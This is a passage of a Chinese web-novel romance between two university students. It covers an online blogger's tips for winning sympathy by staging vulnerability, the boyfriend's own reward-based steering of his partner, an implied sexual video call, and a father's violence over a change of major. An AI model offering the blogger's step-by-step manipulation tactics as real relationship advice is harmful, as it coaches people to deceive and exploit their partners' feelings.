沈鹤快要退出时,忽然刷到一条图片抖因。 封面是一行大字,瞬间就吸引了他的目光。 ——想要男友更爱你?钓就完了 【钓系第一条,心疼是爱的最高境界,要学会充分利用自己的伤口,让他心疼你】魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章第61章想你心疼我宝贝我 沈鹤只犹豫了两秒,就点进了这个图片视频。 但视频里就这么一张图,别的什么都没有了。 沈鹤点进这个名叫【我会一直盯着你】的博主主页,发现他只发了这么一条抖因。 更巧合的是,这个博主的IP跟沈鹤同城,而且主页挂着的学校,跟是沈鹤是同一所。 沈鹤抿唇,又切到那条视频。 这么一会儿,点赞已经有了很多。 沈鹤打开评论区,就看见博主正在回复别人,他停下来一条条认真看。 不知名网友1:万一他觉得我太脆弱了怎么办 博主:那你可以分手了 不知名网友2:万一让他觉得,原来我不是那么美好,不是他想象中的样子怎么办 不知名网友2:爱情也是需要滤镜的 沈鹤滑动屏幕的手指停住。 博主回复:适当暴露自己的脆弱,爱你的人只会心疼 沈鹤目光一顿。 不知名网友3:所以只能适当暴露脆弱? 博主:你一上来就告诉别人,你的经历多惨,原生家庭多惨,内心的苦痛多深重……那不直接把人吓跑了吗 博主:别人是来跟你谈恋爱的,又不是来精准扶贫的 博主:不要妄想有谁能拯救你,拯救一个人是很沉重的,要耗费特别多的精力,甚至容易把自己搭进去,别人愿意拯救你,说明他人好,你遇到了对的人,但别人不愿意跳你这个坑,那也是很正常的,不要用爱情去道德绑架你的对象 不知名网友2:那应该怎么做?? 博主:任何事都要有一个过程,在你们的感情还不特别深厚的时候,不要把你全部的伤口,都暴露给对方看 不知名网友3:所以起先可以给他看一点小的伤口? 博主:起先你可以给他暴露点你的负面情绪,看看他是怎么处理的,如果他连你的负面情绪都接受不了,赶紧跑路 不知名网友4:那我给他暴露了我的负面情绪,正确的答案,他应该要怎么做 博主:请看我的视频标题 ——心疼是爱的最高境界 博主:还是那句话,适当暴露自己的脆弱,对方只会心疼,只会心疼,只会心疼(重要的话说三遍) 博主:心疼的同时,会让你们的距离变得更近,对方潜意识会产生一种‘我要好好爱他’的想法 沈鹤就这样安静地看着这段话,沉默了很久。 — 晚上时,陈清棠特意给陈妈妈熬了冰糖雪梨。 陈妈妈坐在沙发上看电视,陈清棠端着一碗冰糖雪梨过去,挨着她坐下:“亲爱的妈妈,吃不吃?” 陈妈妈瞥了眼:“放那儿,等会儿吃。” 陈清棠抱着她胳膊:“别看了,甄嬛传你都刷了多少遍了,跟你儿子聊聊天。” 陈妈妈不耐烦地甩开他:“啧,别烦,有啥好聊的。” 陈清棠一挑眉,拿出手机点开相册:“本来我还想给你看看我男朋友的照片……” 陈妈妈耳朵动了动,立刻凑过来,一把抽走他的手机:“哪儿呢。” 陈清棠缓缓笑了,滑动几下屏幕:“这个。” 屏幕上是沈鹤坐着上课的照片,在他正前方拍的,能看清沈鹤英气的眉眼。 陈妈妈欣赏了会儿,满意地点点头:“瞧这孩子,长得多周正啊,浓眉大眼的,鼻梁也高挺,一看就是有出息的。” 陈清棠:“那当然,他当年是省高考状元。” 陈妈妈:“哟,这么厉害呢。” 陈清棠懒洋洋的扯过一个抱枕,撑着脑袋:“这有什么,你儿子我当年就比他差那么一分好吗。” 陈妈妈咧着嘴:“是是是,你也厉害。那这孩子家里干啥的?” 她问得小心翼翼,怕自己问到不该问的,毕竟这算是敏感问题。 陈清棠靠在他妈的肩头:“您要问什么,就大大方方的问,我不会生气,今天随便你问。” 陈妈妈:“真的?” 陈清棠::“嗯呐。” 陈妈妈眼睛都亮了:“那妈问了啊,他家庭怎么样?他父母是做什么的?家教怎么样?这孩子人品好不好?” 陈清棠一一回答:“他家是经商的,父母都是做生意的,家教不错,人品更是没的说,还因为见义勇为,上过本市的新闻。” 陈妈妈频频点头,眼里都是藏不住的满意:“那确实没得说。” 顿了下,又问:“那这孩子长这么好看,在学校肯定特别受欢迎吧?桃花是不是很多,他怎么处理的?” 这点还是很重要的,可以看出一个人对感情专不专一。 那万一是那种花心大萝卜,以后陈清棠可有的苦吃了。 花心的不能要。 陈清棠笑着拍拍她的背:“这点放心。他人很专一的,告白当天就跟我求婚了。” 陈清棠边说边抬起自己的手,把手上戴着的很精致的戒指,露给陈妈妈看:“戒指都给我了。” 陈妈妈捉住他手腕,认真地端详了几下,眼睛缓缓睁大:“这得很贵吧。” 陈清棠:“嗯……” 陈妈妈点点头:“那啥时候你把他领回来,咱这边也回个礼,不能让人家吃亏。” 陈清棠:“行。您还有要问的吗。” 陈妈妈想了想:“他的出生年月日,还有具体的出生时间是多少?” 陈清棠:“???” 陈妈妈:“回头我让你外公算算你俩的八字合不合。” 陈清棠:“……” 陈妈妈认真道:“这个也很重要,你外公就是看这方面的,看八字看风水,这里头可不光是迷信什么,是有正经讲究的。” 陈清棠:“……” 算了,陈妈妈没管他同性恋,没管他找了个男朋友,那他也没道理去管陈妈妈喜欢什么。 尊重都是互相的。 陈清棠:“回头我问问他。” 陈妈妈:“那你一定要记得问哈,别忘了,这很重要。” 陈清棠忽然笑了下:“那要是我跟他八字不合,该怎么办?分了?” 陈妈妈:“分倒是不必,你外公合了你俩八字后,看看什么地方不太合,到时候他会解决,你们小辈就别管了。” 陈清棠站起身,伸了个懒腰:“好吧,那我回房了?” 陈妈妈朝他摆摆手。 陈清棠看了她一眼,忽然低头飞快在陈妈妈脸上亲了下。 然后在陈妈妈开口骂他,动手揍他前,陈清棠凑近陈妈妈耳朵边,说了句:“谢谢妈妈支持我。” 陈妈妈顿了下,难得神情温柔:“都是做父母应该的,只要你过得好就行。” 陈清棠:“那也谢谢妈妈。” — 关上房门后,陈清棠给沈鹤打了个视频。 接通后,屏幕上出现了沈鹤那张帅气的脸,跟平常一样没什么表情。 陈清棠半靠在床上:“我妈让我问问你的出生时间,想算算我们的八字合不合。” 沈鹤顿了下:“需要具体时间吗。” 陈清棠:“嗯,她说要具体到几点几分。” 沈鹤:“我不知道。” 陈清棠:“你可以问你的父母啊。” 沈鹤神情微变。 陈清棠敏锐地察觉到了,就问他:“怎么了?” 沈鹤微微垂目:“最近……家里关系有点僵。” 这还是第一次,陈清棠听见他主动谈起家里的事,他试探性地问到:“是发生了什么吗?” 原以为会像以前,得不到沈鹤的答案,陈清棠也没抱太大希望。 但沈鹤沉默两秒,竟然主动说了:“我转专业的事,没跟家里商量,他们……有点生气。” 沈鹤尽可能美化了他的家庭,没说沈父本来是想打死他的。 陈清棠坐正了些,他头一回在沈鹤脸上,看到类似于‘难过’的神情,心都软了,嗓音温柔了许多: “那你呢,你还好吗,被教育了吗?” 沈鹤忽然抬头看他:“你不说我?” 陈清棠:“说你什么?” 沈鹤:“说我,为什么转专业这么大的事,不跟家里商量,现在被父母教育也是应该的。” 陈清棠手指微动:“你不告诉家里,肯定有你的原因,我不了解全貌,就没有资格去评判你的行为。” “就算我了解全貌,我也只想支持你,只关心你是不是心情不好。” 沈鹤的眸色明亮了两分,却只有一瞬,就被他极快地掩藏了起来:“我,我心情,有点糟糕。” 沈鹤已经不习惯在别人面前,表露自己的负面情绪了,以至于诚实地表达自己时,甚至有点羞于启齿。 陈清棠听到这句磕磕绊绊的话,嘴角却是一点点勾起了笑。 他把手机屏幕拿近,凑近自己的脸:“那,你想我怎么做呢沈鹤。” 沈鹤双手缓缓攥紧:“我,我想……” 他的眼神盯着屏幕,不断地颤动着,却无法说出口。 陈清棠眼底的笑意更大了,尾音婉转勾人:“跟我说——我想你在意我,想你心疼我,想你宝贝我……” 沈鹤瞳孔放大,耳朵逐渐漫上好看的绯色,嘴巴蠕动几下,最终还是闭上了。 陈清棠一只手撑着脑袋,好整以暇地看着他:“难道你不这么想?” 他惋惜地叹了口气:“那太可惜了,原本我是想好好安慰你,给你点奖励,让你心情好点的……” 沈鹤一颗心都提了起来,有几分急切: “我,我想你在意我,想你心疼我,想你…宝贝我。” 第62章第62章宝贝儿,快点 陈清棠听着沈鹤的这些话,满意极了,此刻他有种难以形容的愉悦感。 终于说出口了。 陈清棠给予他最直白的回应:“沈鹤,我喜欢你这样。” 沈鹤微怔:“喜欢?不会觉得我情绪不稳定,很脆弱吗。” 陈清棠困惑:“谁告诉你,正常表达情绪,说出自己的诉求,就是情绪不稳定,就是脆弱的?” 有些事已经过去好多年了,沈鹤自己也想不太起来,他只是潜意识不喜欢对人表露情绪。 只是潜意识认为,自己的情绪外泄,会给别人带来麻烦,招致厌恶。 为什么呢 因为沈母是个很讨厌麻烦的人,并且不喜欢小孩子。 沈鹤小时候,沈母就不怎么带他,直接把他扔给专业的育儿保姆。 偶尔回来一趟,小沈鹤看见她总是很惊喜,会开心地扑上去。 这时沈母总是难忍皱眉,露出一副困扰厌烦的表情。 而且小孩子磕磕碰碰的,疼了就哭就撒娇,这很正常。 但每次小沈鹤刚一瘪嘴,沈母的脸就会快速冷下来,告诉他,人不能这么脆弱,要学会坚强。 其实正常的流程应该是,父母先安抚孩子,让他把情绪消化掉,再引导性地告诉他,要学会坚强,遇事就哭闹是不对的。 这样的话,下次孩子碰到类似的事,他就会记得要坚强,这时候,他就是在跟自己的脆弱做斗争,斗争赢了,大人再给予奖励,正向鼓励他,他就会自己强化‘要坚强’这个观念。 但沈母的处理方式,就是直接把孩子的情绪给他摁回去,训斥他要坚强 用表情、语言和动作来告诉孩子——你这样很招人厌恶。 长期下来,沈鹤从小就学会了把情绪憋在心里,潜意识认为,表露情绪=脆弱。 潜意识认为,表露情绪,会让人厌恶。 沈鹤甚至自己都没意识到这一点。 陈清棠正视沈鹤:“我来告诉你,到底什么是情绪不稳定,什么是脆弱。” 沈鹤定定地看着他:“好。” 陈清棠忽然皱眉,语气也高声了很多:“你什么意思?好什么?你到底有没有听进去我说的话?我跟你说这么多,光费口水了是吧!” 沈鹤微怔:“我听进去了。” 陈清棠暴躁地抓着头发:“那你多回应两个字会死吗?!你这样尊重我吗!啊?” 沈鹤轻吸一口气:“抱歉。我没有不尊重你的意思。” 陈清棠怒极反笑:“道歉什么意思?!搞得好像我无理取闹一样,就你有道理是吧,就是我曲解你了,就我是个恶人对吗?!你是这个意思吗?!” 沈鹤摇摇头,他不知道陈清棠怎么了,只是第一次看见陈清棠这样,他的心很刺痛。 像是有绵密的软刺,包裹了他的心脏。 陈清棠一定也在他看不见的地方,承受着他不知道的巨大压力。 一个人撑了很久,很累吧,所以才会这样忽然爆发。 陈清棠还要说什么,沈鹤忽然温柔地看着他,说:“如果我抱抱你,你会好点吗。” 陈清棠顿住了,眼睛缓缓睁大,就那么看着沈鹤看了好几秒。 随后他一只手撑着额头,一点点笑了起来,笑得胸膛震颤。 不是,这个人挺会爱人的呀。 沈鹤虽然看起来冷漠,但他的底色是温柔和包容。 所以看到爱人情绪失控,他下意识反应就是理解,并给予安抚。 而不是指责,或者冷眼旁观,或者被情绪感染一起失控。 陈清棠吐了口气,重新掀起眼皮看向屏幕,整个人已经完全恢复平静: “我刚才是演的,你看不出来吗。” 沈鹤抿唇:“但你的状态看起来不太好。” 陈清棠摊手:“我在给你演示什么叫做情绪不稳定,什么叫脆弱。” “因为一点无关紧要的小事,就很暴躁,控制不住自己的脾气,明明别人没有那个意思,但你非要过度解读,然后乱发脾气,这才是情绪不稳定和脆弱。” 沈鹤好看的眉头微蹙,似乎在认真思考这番话。 陈清棠凑近屏幕,眼神怜爱:“你那个,是正常表达自己的情绪诉求。” 又问:“你知道我听到你跟我说,你情绪有点糟糕,我是什么想法和感受吗?” 沈鹤:“什么想法和感受?” 陈清棠摸着自己的心口,一字一句给他描述:“这里暖洋洋的,满满的,我听到的不是你情绪糟糕,而是你在向我撒娇,你在跟我说——我需要你。” “需要你的安抚,需要你的疼惜,需要你的爱意来抚平那些难受,需要你让我知道,有人跟我站在一起,我不是孤独的。” 沈鹤眸子微颤,喉结蠕动了好几下。 胸口酸酸胀胀的,好像有什么如海啸般汹涌的东西,要忍不住冲出来。 沈鹤只能做了个深呼吸,把它们压抑下去。 陈清棠继续说:“我想的也不是你好脆弱,反而此时我更深刻、鲜明地感受到,我很爱你,我想更爱你一点,让你不那么难过。” “懂了吗?” 沈鹤就那么盯着他看,看了足足半分钟,才慢倍速地点头。 眸子透亮,宛若星辰。 陈清棠勾起一点笑:“所以以后你知道该怎么做了吗?” 沈鹤定定地:“知道。” 陈清棠手指抚上屏幕,指腹刮过他的脸:“乖乖~那,你想要什么奖励呢,说出来。” 沈鹤:“什么都可以吗。” 陈清棠:“嗯。” 沈鹤:“想要你多爱我一点。” 陈清棠目光凝固,随后缓缓笑起来:“如你所愿。但,你没有别的想要的了吗,比如……” 他抬起胳膊,食指勾着衣领,暧昧地往下拉,一片莹白在眼前展露。 沈鹤瞳孔紧缩一瞬,耳朵很快漫起红。 如果是以前,沈鹤会飞快地挪开目光,但如今他已经学会了直视这样故意勾他的陈清棠。 羞耻心好像在不知不觉中被弱化了。 而且,陈清棠的样子真的很美,很魅惑,沈鹤难以抵挡。 陈清棠见他眼神直勾勾的,不禁愉悦地勾起嘴角:“这才对,自家男朋友,没什么不能看的。” 沈鹤没说话,只是不断地掰响手指关节,眼里仿若在酝酿一场侵略性极强的风暴。 陈清棠半眯起眼,柔声蛊惑:“给我也看看你。” 沈鹤嗓音变得艰涩:“想看哪里。” 陈清棠眼神缓缓往下扫去:“逗一会儿,然后给我看。” 瞬间,沈鹤的脸的爆红,他机械地回答:“……这,这不好。” 陈清棠手指有一下没一下地轻叩着手机壳:“怎么不好了。可是我想看怎么办。” 他歪头故作思考,眼神却是瞥向沈鹤:“要不我上外网……” 沈鹤眼里猛然暴起戾气:“不行。” 陈清棠温柔浅笑:“那你满足一下你的小男朋友?” 沈鹤喉结剧烈翻滚一下,最终宛如投降的败军:“你想怎么办。” 陈清棠压着笑:“不用脱,拉链拉开就好。” 沈鹤额角的青筋都鼓起,脸红到了脖颈子。 他按照陈清棠的指示动作,不知道为什么,这样穿着整齐,只露那个,好像更羞耻了。 沈鹤拉拉链的手,都克制不住地在抖。 拉了好几下才拉开,沈鹤眼睛都红得浸血一般。 他闭了闭眼,似乎在做最后的挣扎。 陈清棠撑着脑袋,好整以暇地欣赏着沈鹤克服羞耻心的过程。 呀,真是百看不厌呢。 上回还只愿意给看腹肌,调了一段时间后,沈鹤的接受程度也在变高。 要的就是这个效果。 陈清棠柔声催促着:“宝贝,快点儿~” 沈鹤身子都猛然一震,他抬头看向屏幕:“你叫我什么。” 陈清棠双唇缱绻地翻动:“宝贝儿~喜欢吗,这也是给你的奖励。” 沈鹤深吸一口气,咬肌都鼓动了下:“喜欢。” 陈清棠:“电话play,玩吗。” 沈鹤不太理解:“那是什么。” 陈清棠简单给他解释了下,又说:“好几天没见了……” 沈鹤呼吸变得粗重:“好。” 半小时后 陈清棠有点疲惫地靠在床上,把手机放在脸旁边:“沈哥,想你。” 沈鹤脸上也红潮未退,听到这句话,眸色都不明显亮了两分。 这是陈清棠第一次难忍思念,对他说想念。 沈鹤:“我最近走不开,过一阵我去看你。” 转专业的事,还没得到一个解决,感觉沈父并没有放过他。 所以这段时间,沈鹤最好还是待在家里,不要让沈父找不到人,刺激他爆发。 陈清棠懒洋洋的:“好,我有点困了沈哥,先睡了。” 沈鹤嗓音温柔:“那,我把视频挂了。” 陈清棠阻止他:“不,就这么连着睡吧,我还从来没跟喜欢的人连麦睡觉过,而且我不想跟你分开。” 陈清棠的原则很简单,那就是,对方做了正确的事,就要顺着他想要的,给予对方正向的奖励。 这是一种心理强化。 这次沈鹤愿意跟他表达自己的情绪,就做得很好。 那陈清棠就给沈鹤一点甜头,外放一点自己的思念,稍微黏人一点。 沈鹤眼底的冷色宛如春意破冬,一点点消散,这也是分开几天,陈清棠第一次黏他。 沈鹤:“好。那我尽量不发出声音吵到你。” 陈清棠闭上了眼睛:“嗯……晚安。” 沈鹤低头在屏幕上吻了下:“晚安。” 夜逐渐深了,但沈鹤仍然没睡。 沈鹤就那样安静地看着陈清棠的睡颜,看了很久,心里有种充实的平静。 忽然想起什么,沈鹤把手机架在床头放好,拿过一旁的平板登上抖音。 然后点开了那个ID名叫【我会一直盯着你】的博主。 沈鹤思考再三,给这个博主发了私信 沈鹤:你好,我是从你的视频过来的 博主秒回:你好,有什么事吗 沈鹤:你的钓系方法很有效,能再教我更多的吗 第63章第63章谁教你这一套的 后面几天,沈鹤都只待在家里,刷点编程的题目,看点书。 网友推荐他看的有关解读原生家庭的书,沈鹤也去认真地研究了。 看了几本后,沈鹤能够大概推断出,陈清棠的问题在哪里了。 比如难过和受伤时,陈清棠的第一反应是,隐藏自己的情绪和伤口,不喜欢对身边的人表露脆弱。 大概是小时候,父母一定程度上,漠视了陈清棠的情感、情绪需求。 甚至在陈清棠表现出脆弱,和对他们的需要时,用语言和行为,对陈清棠进行了厌恶式打压。 从而让陈清棠每次在产生情感需求时,都会对自我感到厌恶。 他没办法喜欢这样的自己,所以也很自然地认为,别人也厌恶这样的他。 于是他下意识反应把受伤的自己藏起来,把脆弱的自己藏起来,把有情绪的自己藏起来…… 沈鹤写了整整十张纸的笔记,才理清了陈清棠的问题。 看着这些密密麻麻的字,沈鹤沉默了很久。 目前他只能看透问题,但要怎么解决问题,沈鹤还没找出比较好的办法。 于是沈鹤又上网查了资料,找了一些专业的书籍来看。 就这么风平浪静地过了几天。 直到沈父忽然给沈鹤发了条消息。 沈父:下午六点前,到这里来 沈父:[地址定位] 沈鹤点开看,发现定位的地方是一个高级餐厅。 应该是沈父组的饭局。 沈鹤对这种情况已经见怪不怪了,他转身收拾了下,把睡衣换成了比较休闲的衣服就出门了。 等到了地点,沈鹤推开包厢的门,一眼看到里面坐着两个熟悉的男人。 一个戴着一副沉闷黑色边框的眼镜,高鼻薄唇,长相偏向于精明。 另一个脸圆圆方方的,一双眼睛笑眯眯,看起来比较和蔼,气质也很亲人。 沈鹤认识他们,戴眼镜的是他们商学院的院长,方圆脸的是计算机学院的院长。 在看到这两人的那一刻,沈鹤立马就明白了这场饭局的用意。 但来都来了。 沈父一个眼神扫过来,给了他示意。 沈鹤不很情愿地慢步走到沈父旁边,挨着他坐下。 戴眼镜的男人先开口了:“沈鹤认识我吧,我是秦院长。” 沈鹤礼貌性点头:“秦院长好。” 方圆脸也插话:“我是张院长,孩子你不用紧张,我们今天坐在这里,就是商量一下你转专业的事。” 沈鹤不说话了,面无表情地盯着桌面。 沈父端坐着,举起酒杯,姿态不卑不亢:“两位院长,我刚才就说得很明白了,是家里小孩儿不懂事。” “所以,如果转专业的审批流程还没过,麻烦两位院长把他的申请驳回,如果审批已经通过,那麻烦两位院长,想办法把他转回去。” 沈父说完这些话,余光很淡地瞥了沈鹤一样,说不清是警告还是压迫示威。 沈父:“当然,我们沈家肯定不会让两位院长白忙活,有什么需要沈某人的地方,尽管开口。” 秦院长和张院长两人对视一眼,坐在这儿快半个小时了,他们已经很清楚,沈父是多强势的一个人。 秦院长跟沈父还是旧相识,沈鹤转专业的事,就是在一次宴会上,他无意中提了一嘴。 也没什么恶意,就像是两个不特别熟、但又要维系朋友关系的人见面,肯定下意识反应就是找共同话题,他们的共同话题就是沈鹤。 这么一提,沈父才知道沈鹤背着他做了什么好事。 这次的饭局,沈父把两个院长都请来,就是为了把沈鹤的专业再转回去。 席面间的气氛,变得压抑窒息,宛如凝固成了实质的冰块。 张院长用胳膊顶了下秦院长。 最终还是秦院长先开口:“沈老板,你看这种事关系到孩子的一生,做家长的还是听一下孩子的意见。” 沈父的脸色不太好看,像是结了一层霜。 这是沈父少有地,被人当众驳了面子。 但做生意这么多年,沈父的忍耐能力也是极强的,如果对方不动摇他的根本利益,沈父的处理方式一贯是——能不翻脸,就不要翻脸。 所以即便此刻沈父有些僵硬,但脸上仍然维持着一个体面的笑。 秦院长又看向沈鹤:“孩子,我们把你叫来,就是想问问,是不是像你父亲说的那样,你不想转专业了?” 沈父在沈鹤开口前,嗓音微沉,带着做父亲的威严掷出一句:“别任性。” 就好像在说——这是给你将功补过的第二次机会。 事情发展成这样,沈鹤反倒有几分意外。 他以为这两个院长,跟其他人一样,被沈父‘威逼利诱’一番,就会很自觉地跟沈父站在一起,都来劝说他。 沈鹤认真地看着秦院长:“我想转专业。我想去学计算机。” 这话无异于是当场打了沈父的脸,沈父顿时有些绷不住了:“你以后是要接管家里生意的,计算机对你有半点助益吗?” 沈鹤只是淡淡地:“我想学。” 沈父握着筷子的手,用力到指关节都泛白。 如果是在家里,这种情况沈父早就摔筷子了。 但在席面上,碍于外人在,沈父还是要点脸的,竭力克制着没有当众发脾气。 秦院长推了推鼻梁上的眼镜:“沈老板您看,孩子他就是想转专业,我不建议您作为父母,强行无视孩子的意愿,把他的专业转回去。” 张院长也说:“对,要不你们父子俩再商量下?” 沈父眼底是死寂的寒意,语气却是平和的:“我是他父亲,对他的事情,难道我还不能说了算吗。” 秦院长和张院长都有点尴尬,干笑了两声:“这……我们学校也总得顾及一下孩子的意愿,如果您能让他撤回申请,我们也是认可这个结果的。” “那今天就先这样?你们父子俩再商量商量,三天后再告诉我们结果。” 清官都难断家务事,他们身为学校老师,也不好太介入学生的家庭问题,做到这个地步已经很不错了。 一场饭局就这么不了了之地散了。 回去时,沈鹤坐的沈父的车。 父子俩一路无话,车里的气氛闷得能憋死一打蚊子。 到家后,刚好沈母也在,优雅的女人正坐在沙发上看美妆杂志。 因为保养得当,那张脸看起来也就三十来岁的样子,她整个人宛如一朵高贵的牡丹。 沈父去换鞋,沈鹤就站在客厅中央,他预感即将发生一场风暴。 比起躲回自己的房间,不如现在就直面。 这场风暴早点爆发,他也不用再煎熬地等着。 沈父换了鞋,把外套扔在沙发上,袖口整齐地撩起来,撩到手肘的位置。 然后反手就给了沈鹤一个巴掌。 扇得沈鹤脚步踉跄后退,最后靠在桌子旁才勉强站稳。 沈鹤只觉得耳朵旁一阵嗡鸣,头眩晕了一刻,脸上火辣辣的刺疼。 沈父走上前,似乎抬脚就要踹。 沈母忽然皱着眉开口:“说多少遍了,既然你那一套棍棒底下出孝子的教育理念行不通,打也打不乖,就不要再打他,他又不是什么猫狗。” 沈父收住了即将踹出去的那一脚,转头在屋里踱步转了两圈,又抬手指着沈鹤:“我再给你三天时间。” “三天后你要还是死犟,我不打死你。” 沈母略微厌恶地看他一眼:“粗鲁。” 等沈父走了,沈母望着沈鹤看了半晌,忽然招呼他:“你过来。” 沈鹤被打的左半边脸,疼得皮肉都突突的跳,他垂着眼走到沈母面前。 沈母拍拍沙发:“坐。” 沈鹤便听话地坐下。 沈母翘起二郎腿,说不清是谈心还是盘问:“为什么转专业这么大的事,不跟家里商量。” 沈鹤淡然的神情,同他母亲如出一辙:“说了还能转成吗。” 沈母不知道在想什么,静默了半晌:“你起码应该先跟我说,我是不反对你转专业的。” “你要是跟我说了,我可以先帮你把你父亲的关窍打通,也不至于闹到现在这么僵……” 现在已经不是转专业的问题了,而是沈鹤的行为,相当于将了沈父一军。 沈父又是那种很传统的父权至上的人,他不允许有任何人挑战自己的权威。 发展到如今,唯有沈鹤低头,向沈父认错,并保证以后都会乖乖听话,否则收不了场。 沈母说着说着,忽然叹了口气:“我怎么也是你妈妈,你有什么事应该来依靠我,性子别这么独,讨不到好处的。” 这句话犹如一道惊雷,劈得沈鹤心头震颤。 此刻沈鹤的脑子浮现出很多东西。 有的是一些记忆 比如小时候沈鹤生病,朝沈母伸出的讨要怀抱和依靠的小手,最终却被沈母皱着眉别开,训斥他应该独立 有的是一些文字 是沈鹤前段时间看过的,那些剖析原生家庭问题的书 …… 这一刻,有什么东西在沈鹤心里变得无比清晰。 沈鹤有些不可置信。 因为沈鹤第一次发现,他竟然是别人口中,原生家庭不幸的那一类人。 以前沈鹤以为,‘原生家庭不幸’这个组合词,离他很远,像他这样锦衣玉食的人,是半点都不跟这个组合词沾边的。 起码要是那种,父母离异,或者在家庭里遭受暴力虐/待,或者是因为性别被家人歧视,过得特别凄惨,或者吃饭上学都成问题,这种才算是原生家庭不幸。 但看了那么多书后,沈鹤对原生家庭不幸有了新的定义。 即便是这样,沈鹤也没有把这个词往自己身上套。 直到刚才沈母那句话,说沈鹤应该去依靠她的那句话,让沈鹤猛然醒悟。 ——原来自己已经长成了一个,不管是在情感上,还是在什么上,都无法去依靠别人的人,哪怕对方是他的父母。 他的父母,导致了他性格一定程度的扭曲,导致了他不知道该如何去建立和经营健康的亲密关系。 导致了他无法对别人敞开自己 导致了他深刻地厌恶自己…… 沈鹤低着头,缓缓攥紧了双手:“你没有教过我怎么去依靠父母,我没有学过如何在亲密关系里,去依靠别人。” 他站起身,嗓音艰涩:“所以我不会,也做不到。” 沈母怔住了,似乎在回味他说的话,那双好看的柳叶眉,一点点蹙紧。 半晌后,沈母抬手捂住自己的脸,用力搓了搓,喉咙里发出一声很长的低叹。 — 沈鹤拿了点冰块回房间,给红肿的脸稍微敷了下。 高大清瘦的身影,安静地坐在半开的窗台上,脊背靠着墙壁,眼神望着窗外绿叶疯长的枝丫。 沈鹤就这么维持着这个姿势坐了很久,也不知道在想什么。 直到桌上的手机震动了下。 沈鹤缓慢回过神,拿过来看。 是陈清棠打来的视频电话。 黑色的屏幕边框,刚好照出沈鹤红肿的半边脸。 沈鹤微微蹙眉,下意识要挂断视频。 但手指即将按下时,沈鹤忽然想起那个博主给他出的主意: 博主:第一,心疼是爱的最高境界,你可以不断地暴露自己的伤口给他看,让他对你心疼 博主:心疼的时候,最能唤起一个人的爱意,这样能不断地强化他对你的爱 于是沈鹤最终还是接通了视频。 陈清棠整个人出现在屏幕上时,沈鹤飞快地闪躲开,只露出半张脸。 那半边被沈父打红肿的脸,他只稍微心机地露出了一点点,大半都藏在了屏幕外。 陈清棠的目光敏锐地捕捉到了沈鹤的伤,直接问他:“沈鹤,你的脸怎么了。” 沈鹤垂下眼,摇摇头:“没事。” 博主:第二,不要一下全部暴露给他看,不管你要做什么,半藏半露效果最好,包括你的情绪 沈鹤:为什么 博主:人都有探究欲,你露一半藏一半,他就会很想知道为什么,会着急,会更心疼,这样能更多地勾动他的情绪 陈清棠眯起眼,凝视着屏幕里的沈鹤:“真的没事吗?” 沈鹤恰到好处露出点委屈和难过的神情,也不说话。 陈清棠轻吸一口气,他就是傻子,也看出来沈鹤肯定有事。 但就是,说不出哪里怪怪的。 首先,如果沈鹤不想让他担心,不想让他知道自己受伤,那按照沈鹤的性格,根本就不会接这个视频。 其次,沈鹤是不会在人前,露出这样顾影自怜的神情的 就算是上次,沈鹤难得地跟他表露说自己情绪有点糟糕,那时沈鹤的表情也是局促、紧张,甚至羞于启齿的。 而不是现在这样,有点违和地扮演脆弱 这摆明了就是要勾起他的心疼。 陈清棠承认,他确实心疼了。 这种操控别人情绪的手法,是陈清棠经常用的。 所以当别人用在他身上时,陈清棠稍微琢磨下就识破了。 沉默半晌,陈清棠目光流转,又瞥了眼沈鹤,忽然无厘头地问了句: “谁教你这一套的?” 沈鹤瞳孔猛然紧缩。 第64章第64章那就自己来拿我的爱…… 陈清棠原本还不能非常确定,只是想诈一诈沈鹤。 结果看到沈鹤这样的表情,陈清棠就知道他猜得非常准确。 这个年纪的沈鹤,哪怕再老成,也不能完全藏住事儿,总会露出一点马脚……比如刚才下意识颤动的眸子。 沈鹤心跳都快了几分:“什么?” 陈清棠轻笑一声:“没什么。” 他不打算揭穿沈鹤,揭穿了就没意思了。 既然沈鹤想玩儿,那他就陪沈鹤玩儿呗。 陈清棠扯回刚才的话题:“你的脸怎么肿了,我都看见了。” 沈鹤的心跳稍微平稳了点,他垂着眼抬手抚上自己的脸,终于把全脸都暴露在了镜头里: “我现在是不是很丑。” 语气很生硬,但反而让他更像一只受伤的大狗,惹人怜惜。 博主:第三,等给他看伤口的时候,记住,如果他问你发生了什么,你的情绪一定要给足,夸张一点都不怕 博主:要说自己多疼,多委屈,你平时是那种内敛独立的性格,所以这一招你用起来有奇效,主打一个反差感 沈鹤余光瞥了眼屏幕,却发现陈清棠的眉头皱得厉害。 那双平时总是温和带笑的眸子,此刻正望着他,流露着难掩的心疼。 像是在用目光,一寸寸亲吻过他的伤口。 像是要把他放在心尖上疼爱。 沈鹤心口一烫,他哪里见过这个,眼睛都转不动了,一错不错地盯着陈清棠看。 所有的疼痛仿佛都在陈清棠这样温柔的眼神下,被一点点瓦解,被柔软抚平。 沈鹤不光是爱别人很迟钝,他对别人的爱也很迟钝。 之前虽然陈清棠也说过爱他,沈鹤却几乎很少感受到。 但此刻,陈清棠的爱意,犹如空中的雾气凝成了实质的雪,飘落了下来。 于是沈鹤沐浴着这场雪,才明确地感受到了被爱的滋味。 这种滋味太好了,好到沈鹤愿意把心都掏出来,只为再多换取一点爱。 陈清棠:“疼吗?” 沈鹤仍然盯着他,眸光微亮:“很疼,火辣辣的。” 带点委屈的语调。 陈清棠眼神又软了几分:“用冰敷了吗。” 沈鹤:“嗯。冰敷后皮肤有点麻了,现在微烫,还是疼……” 陈清棠看着他表演,一边觉得好笑,一边又无奈:“把脸凑过来点。” 沈鹤不清楚他要做什么,只是听话地依言照做。 陈清棠也凑上去,然后轻轻鼓着腮帮子,佯装沈鹤就在他面前,嘟着嘴呼呼地吹着:“不疼不疼,吹吹就不疼了~” 像哄小孩子一样。 沈鹤从小到大,哪里被人这么哄过啊,眸子又亮了几分。 陈清棠边吹还边说:“谁啊,看把我男朋友打的,他真坏,看着我都心疼死了……” 又说了几句甜言蜜语后,快把沈鹤都哄成胚胎了。 陈清棠余光瞥了眼沈鹤带点享受的欢喜表情,忽然停下来,猝不及防地问:“所以是谁动的手,发生了什么。” 沈鹤顿了下,很快从明亮的情绪里抽离出来,静默两秒,却没回答。 陈清棠缓缓眯起眼。 看来这就是沈鹤的极限了。 沈鹤已经学会了对他表达自己的情绪,但沈鹤还是没学会来依靠他。 陈清棠退回去靠着床头坐着,一秒切换状态。 